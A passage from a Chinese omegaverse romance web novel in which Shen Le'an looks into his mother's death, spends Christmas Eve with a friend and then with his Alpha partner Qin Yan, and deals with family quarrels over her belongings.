那段时间沈烨因为公司的事情太忙,不常在家,姜叶那段时间神经兮兮的,也许是病情加重的缘故,常在上班的时间会打他的电话,让他回家,希望他在家陪她。 至于那个孩子……因为病情的缘故,他们很长时间没有同房,沈烨最后顾及了情分,也没有再追究是谁的。 这事也只有沈老夫人清楚,沈烨专门叮嘱了母亲,不让她外传。 沈乐安问姜叶和沈老夫人有什么矛盾,沈烨自然也没有说,只是一如既往敷衍道:“我不清楚。” 沈乐安没想过能问出来,也没有勉强,丢了张纸钱进去,又问:“你们之前因为什么原因吵架总能告诉我了吧?” 沈烨微微叹了口气,“我工作太忙,没有时间陪她,所以才有了矛盾。” 沈乐安拧眉:“还有呢?” 这话沈烨之前也是这么告诉他的,说的含糊,像是搪塞他的借口。 沈烨:“她去世前两个月情绪已经不对了,也怪我,没有察觉,上班时间她都会一直打电话让我回去,你妈妈她没有安全感,我忽略了这些,没能给她。” 沈乐安:“她不希望你上班?” 这话总结的太奇怪,但沈烨还是点点头,“她希望我回家陪她。” 妈妈的死亡,他难以错过的信息素暴动、沈华章公司和反叛军的关联…… 沈乐安手上的动作一顿,不知是因为脑海中生出来的胆大妄为的设想还是因为刮来的冬日里的寒风,脖颈处冒起一片鸡皮疙瘩。 难不成沈家有什么世仇,早早就布了一步大棋,就为了将沈家人全部搞死? 沈乐安安静了下来,细细思索了一下和沈家有来往的亲朋好友,揣测着这种猜想的可能性。 他身上早前发生的信息素暴动还没有搞清楚情况,妈妈的事情又过了太久,他不是很清楚还能不能查到一点线索。 医院那边也许还能有渠道弄到当时的一些材料,妈妈的遗物还在家里,他倒是能够去看看,能不能找到一点痕迹。 父子俩还算相安无事,烧完了那一大叠纸钱。 沈烨处理了一下飘出来的灰尘,将东西放回了原来存放的地方,借来的扫把和布也一块还了回去。 来的时候大包小包,手上拿的满满当当,离开的时候两手空空,心中多了一点空荡荡的感觉,尤其是四周格外的安静,置身于这样的山野之中,望着远处的群山,没有开阔,只有落寞。 沈烨作为公司一把手,其实事情都处理的很好,只是他和大多数父亲一样,并不懂得父子关系该如何维护,与有代沟的年轻儿子也不知道如何交流。 他们上一次吃饭也不知道是什么时候之前的事情了。 沈烨启动车子前,看了副驾驶的少年一眼,“送你回老宅还是去哪吃饭?” 沈乐安报了餐厅地址,又道:“我和朋友一起吃,不回去。” 他心情不好,余淮阳也知道他妈妈的事情,所以每年都会喊他这个点出去找乐子,只不过这次看到余淮阳消息的时候他略有点迟疑,因为想起来前不久刚拒绝了秦砚的邀约。 秦砚找他大概率是公事,沈乐安虽然没有问具体,但以秦砚的性格,难不成还能找他约会不成?他今天也不是很想和谁谈什么公事。 思及此,还是应下了余淮阳的局。 沈烨抿了抿唇,压下心中淡淡的惆怅,叮嘱了一声少喝点酒,然后准备导航送他过去。 沈乐安回完消息,道:“你给沈华章项目投资了?” 沈烨道:“华章项目缺钱,我给他转了一笔。” 沈乐安将那条报道转给他,又道:“借归借,你不能给他卖名声,别忘了你还是沈氏集团的董事长。” 沈烨拧眉。 他在开车,沈乐安只是给他扫了一眼,“新闻回去你慢慢看,开车专心点。” 沈烨被这消息一砸,神色不佳,但到底还是生命安全第一,但车速还是开快了一点。 “体检的事情不要忘记。”沈乐安随口叮嘱道。 沈烨脸色缓和了许多,回他:“答应你的事情,爸爸肯定记得。” 沈乐安嗯了一声,手指一划,退出与沈烨的聊天框,目光略微一顿,停留在上面的新消息上。 是秦砚发来的。 小青菜:【我出门了,你如果回得早直接输密码进去。】 出去了? 沈乐安看了眼时间,很轻地拧了下眉。 平安夜,饭点。 他和谁出去的? 第53章 第 53 章 余淮阳订的餐厅是网上评价很高的网红餐厅, 在市中心繁华区域,如果没有提前预定,可能还真的没有办法有空的位置。 沈乐安纠结了一路, 最终还是没有给秦砚发消息, 问他去哪。 他们的关系处于一个很尴尬的位置,上一次还隐约有点吵架的苗头,还是把握分寸的好。 进了包厢,沈乐安退出了与秦砚的聊天界面, 当然,还是给他回了一个表情, 表示自己收到了消息。 包厢内比他想象中的冷清,沈乐安扬眉道:“他们没来?” 余淮阳主动帮他拉开椅子,“人家都有约,哪像我们两个单身狗。” 沈乐安没接他这话, 严格意义上来说, 他还真不算。 余淮阳只以为他今天去了一趟墓园, 情绪还有点低落,识趣地没有再调侃, 开了瓶酒, 道:“我从家里顺来的, 便宜你了。” 沈乐安看了眼品牌,还真的价格不菲。 他看了眼气质沉稳许多的余淮阳,有点感慨职场还真的非常锻炼人, 想到之前余淮阳的庆生, 又问了句:“你怎么年年都没约。” 余淮阳倒酒的动作停了停, 抬头看了他一眼,说道:“放心, 有约都能空出来,鸽谁都不会鸽小少爷你。” 沈乐安看着杯子,“别倒太满,不喝那么多。” 余淮阳收手,将半杯酒递给他,“怎么忽然关心起我的情感问题了,有意向给我介绍介绍?” “我没有当媒人的想法。”沈乐安摆摆手,表示婉拒。 余淮阳淡笑一声,视线从沈乐安碰过的瓶口处收回,很是随意地说了一句:“我要求可高,至少长相得过关,你这样的就不错。” 沈乐安骂了一声滚蛋。 余淮阳和他认识这么多年,这混不吝的性格还真的半点不改,沈乐安暂时收回他变化很大的这个评价。 余淮阳笑容微敛,心中微微叹了叹,挑开了话题,“不是说找我还有别的事情?” “是有点公事。”沈乐安轻咳两声。 本来没想今天说这个的,但刚刚看到了唐洛安的消息,才想起来之前一直忙,忘了他的那个设备材料问题。 余淮阳眯了眯眼:“人家去约会,你还真牛逼,让我给你加班?” 沈乐安脸皮很厚地点点头。 余淮阳嗤笑一声,低咒了一句,才道:“先说说什么事情。” 沈乐安道:“有一批设备零件想找你们公司购入,你不是刚好最近在负责这些,也算是给你添点业绩。” 余淮阳虽然混,但还是正儿八经上了班的,被母上大人压着学,也算初有成效,问了一些细节,倒也没有觉得这个有什么难办的。 只不过……余淮阳姿势松垮地往后倚着,“你不会今天是因为有所求才和我出来的吧?” “怎么会。”沈乐安哥俩好的笑笑,“咱俩什么关系,哪用得着这些?” 余淮阳勉强相信他的鬼话,加了块肉往嘴里塞,“你最近忙什么呢,怎么都约不出来?” 沈乐安:“搞实验,真没空。” 他最近确实事情多的让人焦头烂额,尤其是还有这个悬而不定感觉随时可能爆炸的沈华章。 余淮阳没有问出来什么,以沈乐安的个性,他不想说,谁也摸不透他的想法。 自从沈乐安分化成Omega,又进入了外人不能随意进出的联邦军校之后,他和沈乐安的关系就疏远了许多。 余淮阳有点轻微的失落,尤其是他发现自己对这位多年的好友多了一点别的心思之后,这种感觉便更加明显。 沈乐安没有发现余淮阳的情绪不对,他自己也有点走神。 还是因为一条新消息。 秦砚几分钟前给他发的,问他现在在哪。 总有种现任抓包的嫌疑,尤其自己之前刚拒绝秦砚的邀约,沈乐安莫名有点心虚,虽然他只是和朋友出来吃个饭。 “怎么了?”察觉到他的走神,余淮阳问了一句。 沈乐安放下手机,“没事。” 余淮阳扫了他手机一眼,“有什么急事吗?” 沈乐安没应,抬了抬下巴,“不是说能混出来好酒?你调调给我试试。” 余淮阳狐疑地看了他一眼,倒也没有追问,说起了最近学习到的调酒技术,开始大展身手。 秦砚等了几分钟,也没有收到沈乐安的回复,不过他也没有电话过去打扰,毕竟刚刚只是匆匆一瞥,或许是自己看错了。 方桓瑜问道:“家里找你?” 秦砚将手机放回桌上,“没有。” 谢景开道:“平安夜约我们吃饭,你怎么想的你。” 秦砚:“我妈订了位置,避免浪费,可以来吃一顿。” 谢景开吐槽道:“这位置压根不是给我们订的吧?” 方桓瑜点完单,闻言,也看了秦砚一眼。 秦砚掀唇:“吃饭还堵不住你的嘴?” 谢景开哼了一声,“你以为谁都像你啊,我这可是推了姜醒的约来陪你的。” 方桓瑜被谢景开这口吻恶心到了,“能不能好好说话了?” 秦砚盯着谢景开看了一眼,问道:“姜醒不是很忙?” 姜醒在娱乐圈工作,三天两头出差,谢景开非常喜欢在他们面前嘀咕这些,他们还是知道一点姜醒的事情,不过大部分时间,都是谢景开过去找人。 约会泡汤,谢景开还是略有惆怅的,“这种节日肯定还是能想办法腾点时间出来的,当然要一起吃吃饭啊,我都多久没有和姜醒一起出去约会了。” 秦砚:“你们约会都干些什么?” 谢景开盘点了一些:“就是一起吃饭看看电影做做手工艺品什么的,他情况特殊,不然还能出去旅游。” 秦砚想起来很早之前沈乐安对于他在一个餐厅相亲时的评价,以及对于旅游景点的一些建议,将这些东西记下。 说起这些,谢景开仿佛开了话题的口子,分享起来他之前和姜醒去过的一些地方,演员这个职业,有些时候好处也多,比如能够体验各地风情,尤其是在拍戏的时候。 方桓瑜默了默喝了一口水,插嘴道:“秦砚,你怎么忽然问起这个?” 谢景开眯了眯眼,“有情况了?” 饭菜刚好上来,秦砚挑开话题,“吃饭吧。” 方桓瑜上上下下打量了他一圈,最后落在秦砚那亮起的屏幕上,若有所思。 沈乐安还是没有回消息,已经过了一个小时了,以前没有这种情况,秦砚熄灭屏幕,压下心中的微妙,没有再关注。 母亲订了餐厅,沈乐安不来,秦砚自然也没有强求,而是转而将朋友邀请过来吃饭,毕竟是母亲的一番心意,秦砚并不想浪费,但如果母亲问起此事,秦砚并没有打算告知她。 只不过在这里疑似看到沈乐安的事情,还是让秦砚多了一点在意,尤其是对方并没有给他回消息。 平安夜的晚上有不少情侣出现在餐厅,来来往往都是成双成对,秦砚几个高大的Alpha走的时候其实有点扎眼。 离开的时候秦砚倒是真的碰见了熟人。 是余淮阳。 秦砚上次宴会的时候见过他,对他的长相印象深刻,不过对方先一步离开,并没有注意到走在另外一道长廊的他。 余淮阳回了方才秦砚看到的那道疑似沈乐安身影进去的包厢,半开着门,显然也是要走了。 “今天还回军校吗?还是回你外边的住所?”身侧的谢景开随口问了他一句,看看是不是顺路。 秦砚敛回视线,“你们先回去吧,我等会回校。” 方桓瑜道:“行,下次请客喊我啊。” 他们都是开车来的,又没喝酒,自然不需要怎么相送。 秦砚没有急着离开,而是站在门口一侧,高大的身影隐没于光线之外,目光却注视着灯火通明情侣成双成对出入的大门。 他没有窥探别人行踪的习惯,但今天却鬼使神差地想看看自己是否判断有误,或许自己的猜测只是个错觉。 Alpha站在角落处,高大的影子笔直地铺陈于地,仿佛一尊肃立的雕塑,静静安放于黑漆漆的夜空,神色冷漠,唯有一双幽深的蓝眸,一眨不眨的,盯着出入的人群,如似蛰伏预谋捕捉着等候已久的猎物。 沈乐安从包厢内出来,还是冷不丁被外面的风吹的一阵激灵。 余淮阳把自己的围巾丢给他,“晚上降温了,你套上将就一下。” 沈乐安随意缠了两圈,露在外面的脖子勉强得救。 余淮阳:“回你家?” 这些混合的酒后劲比单喝还大,沈乐安揉了揉晕涨的额角,想到那条没有回复的消息,暂时放弃了回秦砚那的念头,便道:“先回我家吧。” 余淮阳也喝了点酒,打完电话道:“我找了代驾,等会先送你回去。” 沈乐安嗯了一声。 余淮阳看了眼外面呼啸的寒风,“你先在里面等等,我去找找代驾,让他把车先开过来。” “知道了。”沈乐安道。 余淮阳看了眼他松垮的围巾,抬手,帮他又缠了一圈,“外面有点冷,弄紧点挡风。” 沈乐安还算听话地调整了一下围巾。 余淮阳这才放心地从门口处离开。 沈乐安找服务员拿了杯温水,喝了两口,勉强缓和了一些,这里人来人往的小情侣,等待的人多,其实没有什么坐的地方。 他推开门,迎面便是袭来的寒风,里外简直两个世界,一晚上的降温属实恐怖。 还是老老实实去里面等吧。 沈乐安刚想原路返回,便被人抓住了手,他本来就还有点晕,被人连拖带拽,差点摔倒,手上的温水也全部撒了出去,杯子都在挣扎中掉在了地上。 他妈的这年头还能在餐厅面前直接拖人走的? 沈乐安心里骂骂咧咧,哪怕醉酒不舒服,求救的本能还是在的,刚想喊人,嘴巴被大手捂得严严实实,仅有一点稀碎的支吾声。 那道熟悉的气息沁入鼻尖,沈乐安微微睁大了眼睛,挣扎的动作小了许多。 “喝酒了?” 看不清脸,但能听得出秦砚声音里面的冷淡,裹挟着这寒冷的冬日,钻入骨髓,让人一阵激灵。 沈乐安还有点晕乎乎的,说话略有点鼻音,含糊地应了一声。 秦砚抬手,指腹压了压他脖颈处那条陌生的围巾,问道:“围巾谁的?” 沈乐安听不出他话里的情绪,但莫名让他有几分心虚,低低回道:“余淮阳借的。” 秦砚意味不明地嗯了一声。 沈乐安问道:“你怎么会在这里?” “来这吃饭。”秦砚回他。 沈乐安听出来了几分疏离,额角还有点隐隐作痛,歇了心思,没有再追问。 门口处还有欢声笑语出来的情侣,光明正大的亲亲我我,姿势暧昧,他们两人却僵持在这见不得光的角落,吹着冷风,谁也不说话,也没有个结果。 灯光的边界内外仿佛划出了两个领域。 沉默良久,沈乐安感觉到了口袋内的手机震动,嗡嗡的响动打破了暂时的僵硬。 应该是余淮阳打来的。 沈乐安挣开被Alpha箍住的手,想要接个电话,却没想对方反而得寸进尺,加重了力气。 “我……” 沈乐安话还没有说完,便被人全部吞了下去。 Alpha完全没有浅尝辄止的想法,反而像是贪欲无度的野兽,步步紧逼,肆无忌惮的劫掠着呼吸,将Omega囚禁于方寸之间。 口袋中的手机响了又止,反反复复循环着,与簌簌的雪风一道,全部化成漆黑夜色的背景音,也悉数被这对隐藏在黑暗中的伴侣屏蔽。 唯有置身事外的第三人,余淮阳看着一直没打通电话,不明所以。 第54章 第 54 章 晨光初上, 日光从窗帘的缝隙钻入,驱散了室内的昏沉。 沈乐安睁开了眼,意识还没有完全清醒过来, 但浑身的感知倒是阵阵传来, 后腰的酸胀麻痹了神经,大腿也有点摩挲的疼意。 眼前还是一片朦胧的黑,视觉逐渐清晰,才察觉到自己四肢的僵硬与处境。 他睡得还是熟悉的主卧, 只不过身旁多了一个熟悉的人,此时此刻, 他还被对方抱在怀里,自己如似幼崽依偎在他的怀中。 Alpha上半身还是赤裸的状态,宽厚的胸膛如同一道厚实的墙壁,挡去了大半的视野, 近在咫尺的肌理有着漂亮的而有力的线条, 流动的蜜色随着呼吸上下轻微起伏, 宛若蜿蜒的岩浆,周身还散发着灼灼的热气, 以及熟悉而冷淡的松雪之气。 绝对的力量确实在很多时候会给人以安全感, 沈乐安走神地想着。 不过沈乐安分辨不出外面的天色, 有点意外于他醒来的时候秦砚竟然还在,至少之前几次没有过这样的情况。 他只是轻微的转了转脑袋,挪了一下手臂, 便将浅眠中的Alpha扰醒了。 “醒了?”秦砚道。 沈乐安脑袋还贴着他的胸膛, 含糊地嗯了一声。 昨天明明还以为秦砚和他有什么吵架的苗头, 结果也没想到怎么就搞成了这样,沈乐安也看不出来他有没有生气, 不过这人确实发了狠,沈乐安想起来昨天自己的狼狈,一时哑口无言。 秦砚手臂微动,贴上Omega的腰侧。 不过秦砚没有做什么,只是大手贴着,帮他按了按。 沈乐安心中暂时松了口气,他觉得再来一次绝对得死掉。 这样的动作其实很亲密,至少少年贴在他的怀中,疑似依靠的感知,会让Alpha的占有欲有很明显的满足感。 少年轻飘飘的呼吸如似毛羽,有一下没一下地剐蹭在胸膛,尤其是没有衣物的遮挡,甚至能够感受到少年细腻而滑嫩的肌肤。 与漆黑的夜晚不同,白日里的阳光让视觉足以窥探清楚一切,比如怀里纤瘦而未着寸缕的Omega。 “谢绝再来一次。”沈乐安忽然道。 秦砚手臂微顿,挪开视线,“……我不会碰你。” 沈乐安还是十分相信他的自制力的,毕竟这人当初他也是几次引诱失败,哪怕此时此刻,某些反应格外明显。 男人晨起的时候总是会反应格外剧烈一些,还是能够理解的。 “往下一点,”沈乐安使唤他,“我腿酸。” Alpha如似一头一声不吭默默劳作的老牛,顺从地将手滑了下去,力道顺着Omega的指挥,时刻变化。 沈乐安身体放松了一些,问道:“你今天不起床锻炼?” 秦砚有很好的作息,至少目前为止,沈乐安没有见过他有想今天这样的赖床行为,哪怕没有看时间,外头的天色来看,应该也不早了。 秦砚不做解释,只是道:“我有话想和你沟通。” 床头吵架床位和这种事情果然是不会出现在秦砚这里的,沈乐安还以为起床的时候又会和上次一样直接翻篇了呢。 昨天的事情沈乐安还是略微有点心虚的,主动开口道:“我昨天心情不好,不是很想和你谈公事,所以约了余淮阳出去玩。” 秦砚:“我没有想和你谈公事。” 沈乐安心领神会,“你原本想约我出去吃饭的?” “是。”秦砚道。 沈乐安默了默,“那你后来找谁去了?” 秦砚:“谢景开和方怀瑜。” 沈乐安抿了抿唇,心里又多了几分愧疚,不过还是嘴硬道:“你原先没有和我说清楚,我不知道才拒绝的。” 秦砚无意与他翻旧账,过去的事情重提结果只会如同上一次那样的争执,造成的只会是关系的裂痕而已。 “我不是想和你说这个。”秦砚转移话题道。 沈乐安回神:“你说。” 秦砚:“我希望公开我们的关系。” 沈乐安愣了一下:“公开?” 他不清楚秦砚怎么忽然多了这个想法,毕竟一开始的时候,他们的这段关系就有点不清不楚,哪怕秦砚定义为交往,沈乐安加了那些七七八八的条例之后,关系的界定早就没有那么纯然了。 不过他们之间也不知道这段关系算不算半公开,毕竟宋书颖似乎有所察觉,如果宋书颖知道,也许秦家人也知道。 但不论如何,真的要公开,那就意味着他们之间的关系确确实实的被承认,沈家,以及余淮阳他们都会知道,秦家和宋家当然也会清楚,如果搞不好后面分手,弄不好还会牵扯到很多,十分的麻烦。 沈乐安一大早起来就因为这些问题弄得有点头疼,微微叹了口气,“你怎么忽然想到这个?” 秦砚不愿与他提余淮阳的事情,弄不好也许又会吵架,反问:“你觉得不合适?” 沈乐安没说合不合适,但他并没有觉得他们的关系到了那种地步,只说:“我暂时没有结婚的想法,之前和你说过的。” 秦砚拧眉:“这并没有和婚姻等同。” 沈乐安摇头,“对我来说是一样的。” 秦砚忽而觉得有点憋闷,不知是因为沈乐安的拒绝,还是因为他有点冷漠的态度,拒绝的言外之意其实也很明显,他对于这段关系并不信任。 沈乐安确实对他们的关系并不乐观,坦白来说,他对秦砚确实是有喜欢的,但客观来看,剥开盲目的偏爱来讲,他们之间有致命的缺陷,对于彼此而言,他们从来没有过深入的坦诚,秦砚不会主动说,他也不是那种会事事主动追问的人,宋书颖会站在自己儿子的角度希望他能够包容主动一些,但谁又愿意一直单方面的坦诚呢? 更何况是他这种天生就自私的人,在关系中是不可能如宋书颖那样劝说的那般处于被动的,那样的关系就想他上辈子见过的所有恋爱关系一样,也如自己这辈子父母的关系一般,他并不想成为被抛弃的那一个,如果可以,他更愿意成为片叶不沾身轻易就能放下抛弃别人的“渣男”。 秦砚没有说话了,气氛陡然沉默,不复方才得温馨。 沈乐安笑笑,攀着他的胸膛,仰头亲了亲他的唇瓣,转移话题道:“下次约我记得说清楚。” 秦砚表现的有点冷淡,抿了抿唇,没有什么反应,显然有点生气。 Omega神色从容,仿佛刚才的话不是从他口中所出。 秦砚收回手,拨开被子,下了床,长臂一抬,抓起了挂在一侧的衣服,几下穿好。 沈乐安没有下床,只是坐起身,在秦砚离开的时候说了一句:“想吃炸地瓜条。” 秦砚也不知道听没听见,走前阖上了门。 沈乐安盯着那扇门,莫名觉得有点好笑,弯了弯唇,不过想到方才的对话,笑容微收,又叹了口气。 他在床上坐了一会,想起来昨天晚上一直给他打电话的余淮阳,又拿起手机,瞅了眼消息。 99+的未读消息,全部来自余淮阳,上一次还是刚才发的,估计起来的时候还因为这个气得不轻。 点进去一看,是各种凶狠又怒气冲冲的表情包,最顶上几条是他昨天晚上的语音,一点开,是余淮阳凶巴巴的语气:“打你半天电话不见人影!提前走怎么没和我说?!他妈的害我担心的要死!妈的下次不出来请我吃饭这事没完……” 说话两三句就一通脏话,显然气的不轻,也不怪余淮阳昨天那么生气,电话不知道打了几个,但秦砚按着他亲了半天,死活不让他接电话,沈乐安还是上车的时候才给他回了一条短信,告诉他自己先走了。 至于电话,当时在车上,秦砚开车开的飞快,沈乐安没接,至于回了秦砚家之后,又血性上涌,没一件正经事,到底也没有给余淮阳打回去。 这事干的确实不厚道,沈乐安对此深感愧疚,给余淮阳回了好几句赔礼道歉,应了下次请他吃饭,才勉强将人安抚下来。 至于余淮阳问他昨天谁来接的,沈乐安只能糊弄他实验的事情,同事有急事来接他。 余淮阳也不知道信没信,但只是叮嘱了他一句,下次有急事也得先给他回电话。 沈乐安满口应下。 安抚完余淮阳,沈乐安又去热搜词条看了看,沈氏集团董事长参与新型药物研发的热搜已经没了,应该沈烨回去后让人公关下去了,也不知道他有没有和沈华章说这事。 不过妈妈的遗物还是要搬出来,还继续放在沈宅的那个主卧,已经不大行了,毕竟奶奶当时还专门和他提了这件事,没有必要因为这些而起矛盾。 思及此,沈乐安情绪有几分低落。 不过这股情绪到餐桌上看到盘子里装着的炸地瓜条时,奇异的散去,兴致又高了许多。 秦砚还是那副冷淡淡的模样,见他下来,也没有开口说话的意思。 沈乐安并不介意这一点,因为这道炸地瓜条,心情很好,吃了两口,主动道:“你在军队里面也会吃这种小吃?” “没有。”秦砚道。 沈乐安问他:“那你怎么会做这个?” 秦砚说道:“小姨教的。” 沈乐安哦了一声,他不至于因此自作多情地以为秦砚专门为他学习什么厨艺,只当他学习上进,下厨还百般全能。 秦砚看了他一眼,没有说话。 沈乐安想了想,又道:“四校联合的比赛也就这几天,听说联邦一军也会有人过来?” 秦砚应了一声,没有否认。 沈乐安问:“是你之前的下属?” 秦砚顿了一下,才道:“没在队内,不是很清楚。” 他说的冷淡又平静,但也不知道为何,沈乐安还是觉得他似乎因此有点情绪不高,被调离其实也有点被边缘化的意思,杨助教之前这么追捧他的成绩,显然在生病之前,秦砚一直是天之骄子的存在,何况他还是那个一直受人追捧的联邦一军的队长,还是如此年轻的上将。 沈乐安没什么滋味地嚼了两下,安静了几秒,说道:“你之前调下来是因为那个病?” 病例的事情秦砚早知他已经看过,上面也有他的资料,沈乐安清楚十分正常,只不过沈乐安之前一直没有提过此事,反而让他有点意外罢了。 秦砚没有否认,“有这个原因。” 沈乐安道:“要是治好还能回去吗?” 秦砚只道:“看组织安排。” 沈乐安有点想安慰他,但想了想,还是没有说出口,药物的临床实验结果还没有完全出来,凭白给人希望并不好。 岗位调动并没有给秦砚太大的打击,反而是转到现在的工作,家里倒是对他暂时放心了一阵,没有了之前的矛盾,耳根子清净了许多。 但少年欲言又止的心软与怜惜还是让他不免心口微动,方才的郁气散了许多。 他觉得自己好像因为沈乐安变成了一个情绪不稳定的人,但偏偏又拿他没办法。 秦砚心中微微叹了口气。 至于母亲让他邀请沈乐安一起去林家吃饭的事情,因为公开的沟通失败,他到底还是没有开口。 第55章 第 55 章 林老爷子早年参与过军中的科研建设, 秦家便与林家有了更深层的交道,其中很重要的原因还是因为秦译当初重伤,关键的药物是林老以一己之力弄来的。 林老这次庆生很低调, 只邀请了几家人来家里吃饭, 秦家自然也是其中之一。 宋书颖早早就和秦砚说了这件事,也提醒他记得叫上沈乐安,算得上是圈子内的半公开,也算是过了明路, 绝了林家那个晚辈的心思,但她没想到最后过来的还是只有秦砚一个, 没见到沈乐安的影子。 “乐安呢?”宋书颖问他。 秦砚:“他有事,今天不去。” 宋书颖还想再问,却被秦译打断,“一顿饭而已, 没有必要。” 宋书颖白了他一眼, 他知道什么?关键是饭吗, 关键的是林家之前还有一个和儿子相亲过的林风凛! 看看这父子俩毫无在意的冷淡面孔,宋书颖觉得气不打一处来, 心里有不免有点后悔, 当初筛选相亲对象的时候真不应该把林家扯进来, 听说风凛那孩子还和家里闹别扭呢,弄成现在这样尴尬的情况,实在难以处理。 不过她倒是知道秦砚和乐安平安夜还是顺利约会吃饭了的, 应该不至于因为这些事情起矛盾。 宋书颖看了儿子一眼, 摇了摇头, 最终还是没有多言。 林家今天准备的还是非常足的,虽然只是来了几家人, 但身份地位,每一位都是贵客,当然不敢懈怠。 林风凛知道秦砚要来,还专门排除了他喜欢的口味,自己也换了正式而庄重的衣着。 上一次无疾而终的饭局让他大受打击,爷爷的那一番话更是让他倍感受辱,当然,更让他受伤最大的还是秦砚捏造出来的那一个交往对象! 但他观察打听了这么久,完全没有听说过这个传说中的神秘对象的消息,又恰好知道秦砚最近没有了相亲的饭局,便大约猜到了事实真相。 秦砚十有八九是为了推掉相亲,所以才说出来的那一番谎话。 这个猜测在看到这次独自过来的秦砚时可信度达到巅峰,林风凛几乎没有抑制住自己的笑容,打心底觉得高兴。 林家和秦家本来就关系紧密,又因为有被迫去的相亲局,林风凛能够想到秦砚的排斥,当初的拒绝也许有家庭的因素,毕竟当时他们离开的时候,秦砚态度并不算非常的冷漠,哪怕是拒绝,也非常的温和。 林风凛其实并不怎么认可爷爷老旧的思想,现在不同于以往,他并不认为自己不能够有作为追求者的权利,而且,他是真的很喜欢秦砚。 林老爷子并没有发现孙子的不对劲,只是招呼着秦家的客人,让儿子引人到指定的位置。 不过看到秦砚一个人过来,林老爷子还是和老朋友叨叨了一句:“小砚不是有对象了?怎么没有带人过来吃饭。” 秦老爷子笑呵呵道:“下次下次,刚来家不久,不好一下子吓到人。” 原来还见过家长了,看秦老头这模样,应该是挺满意的,他还以为秦砚之前是借口推辞呢。 林老爷子心中唏嘘,不过知道这个,也好明白地和孙子说清楚,不要让他再起什么别的念头。 林风凛此刻一心扑在秦砚上,主动靠近道:“秦砚哥。” 秦砚没有察觉他的靠近,闻言,抬头道:“有什么事?” 林风凛道:“我听爷爷说药剂的研究马上要有新的进展了,你很快就能回去军队了。” 秦砚剑眉凝起,语气也冷了几分,“林风凛,机密进展不能公开讨论,基本的保密你不懂?” 他严肃的时候气势逼人,林风凛顿时噤了声,这些事情他确实没有权限知道,是听家里人偶然提的。 秦砚无意在林家与他起争执,敛回视线,道:“回去坐好吧,这些事情不能在这里说。” 林风凛低低嗯了一声,也是自己关心则乱,忘了这些规矩,秦砚最重视这些了。 林风凛回了自己的位置,隔了几个人的座位,能清晰看清他的容貌。 Alpha身形高大,坐姿端正笔直,衬衣恰到好处地修饰了他的身形,略微低着头,视线放在桌面的手机上,眉心微拧,不知是在看着什么重要的消息。 林风凛录视频的时候在四周转了一圈,手机最后在秦砚那里停留了一秒,刚好录制结束,他看了两遍视频,还是没有舍得删,没有退出朋友圈的发送界面,想了想,还是编辑了一下文案,点了发送。 秦砚确实是在看消息。 是沈乐安发来的,说他今天有事,晚上不回去。 通知一番之后,便没了下文,秦砚原本想要告知他在林家吃饭会晚归,看到消息时,便觉得没有这个必要了。 秦砚回了一句知道,表示自己收到了消息。 那边也没有再回复。 沈家的气氛没有林家这边热闹,反而因为沈乐安回来这次的目的,而显得有些僵持。 搬家公司把车开到了沈家楼下,沈老爷子又瞧见孙子开了那间卧室的门,想也知道他想干什么。 这都多少年了没有这事,而这一回刚祭拜完姜叶不久,孙子就起了这个心思,加上之前老伴和孙子古怪的气氛,沈老爷子便猜到了事情的起源。 于是沈家二老就因为这个事情大吵了一架,堪称轰轰烈烈,人在国外潇洒的沈序都收到了这个消息,忙打电话通知他哥,赶紧回家救急。 沈烨会也没法开了,只能先赶回家。 沈宅内物品东倒西歪,沙发上的枕头都被人甩到了地上,唯一庆幸的是,家里的花瓶什么的还算安全,至少没有到伤人的地步,只是看起来有点凌乱罢了。 见沈烨回来,沈老爷子凝起眉:“你没事回来做什么?” 沈烨捡起来地上的一只抱枕,放回原位,“您二老吵架,全世界都要知道了。” 沈老夫人冷哼道:“一把年纪了,还这么不讲理。” 沈老爷子登时不高兴了,“你个臭老娘们说谁呢!” 沈老夫人倒吸一口凉气,扬声喝道:“你个糟老头子再说一遍试试?!” 沈烨头都大了,连忙拐开话题,“爸、妈,乐安呢?” 沈老夫人哼了一声,缓了口气,“在那屋里,没下来。” 沈烨忙给家里的阿姨使了使眼色,阿姨忙不迭哄着沈老夫人回了房。 沈老爷子这才与他说道:“乐安回来搬那屋东西呢,搬家公司都来了,这事还是你妈祭日那天提的,她人老糊涂了,这事说的,不是伤乐安心吗?” 沈烨顿时沉默了,难怪那天乐安情绪有点奇怪,还说那些话。 沈老爷子道:“你想再找人生个Alpha的孙子我也不会说你什么,但是我话还是放在这里,乐安的东西不会因为他分化成了Omega就有一点变化,这是我当初和你姜叔说好的,他虽然人不在了,但沈家讲道义,这些不会因为其他而改变。” 姜叔是姜叶的父亲,很早之前就因公去世了,当初队里要求出任反叛军卧底任务,姜叔代替了当时的沈老爷子去的,后来任务失败,姜叔没有回来,但听说是姜叔拿到了内部高层信息,传回了家,而真正让姜家濒临灭绝的也是这份迄今为止没有找到的资料,姜家被反叛军找到信息,全家都出了意外,唯一留下来的是早已嫁到沈家,隐名改姓的姜叶。 姜叶的抑郁症,有一部分原因,也是有这个因素。 沈烨垂了垂眼皮,“不会有谁,乐安就是你唯一的孙子,爸,你放心。” 沈老爷子没说什么,摆摆手:“东西我会收拾,你上去看看乐安吧。” 沈烨这才上了楼,原来一直锁着的房间此刻半开着门,里面还开了灯,沈烨站在门口,有点莫名的恍然。 站定半晌,敲了敲门示意,沈烨才推门进去。 屋内的构造还保持着当年的模样,柜子上还有一些小装饰品和小物件,是姜叶当年买的,时间太久,东西上已经有了浓重的陈旧痕迹,不过沈乐安偶尔过来打扫,倒是没有什么灰尘。 衣柜内甚至还是当年姜叶的衣服,沈家每次都会进新款,所以还有些没有拆吊牌的高奢放在里面。 墙上挂着一个大大的相框,正对着床,上面是姜叶和沈烨的婚纱照,背景还是在辽阔的海边沙滩,白色的婚纱服,难以描绘清楚新娘的美貌,但这一对新婚夫妇,至少如果从照片追溯,当年是如此的美好。 沈烨敛回视线,出声道:“别动你妈妈的东西了,我会和你奶奶说清楚,不会搬走的。” 沈乐安摇摇头,“我并没有在意气用事,决定了搬就一定要搬,而且妈妈的东西我会重新查看一遍,看看是否有疏漏。” “是因为你奶奶说的那些话?” “不是。” “那是为什么?” 沈乐安难得解释了一句:“人不能永远沉溺于过去,这是一种退步,我觉得奶奶的话也有点道理。” 沈烨蹙眉,还是觉得他在赌气。 沈乐安知道沈烨不信,坦白来说,姜叶作为母亲身份的离世确实让他伤心了许久,但真正让他一直耿耿于怀,非常不愿意放下这段事情的原因还是因为自己并不愿意相信曾经坚韧的母亲会因为被沈烨忽视的情伤而草率离世。 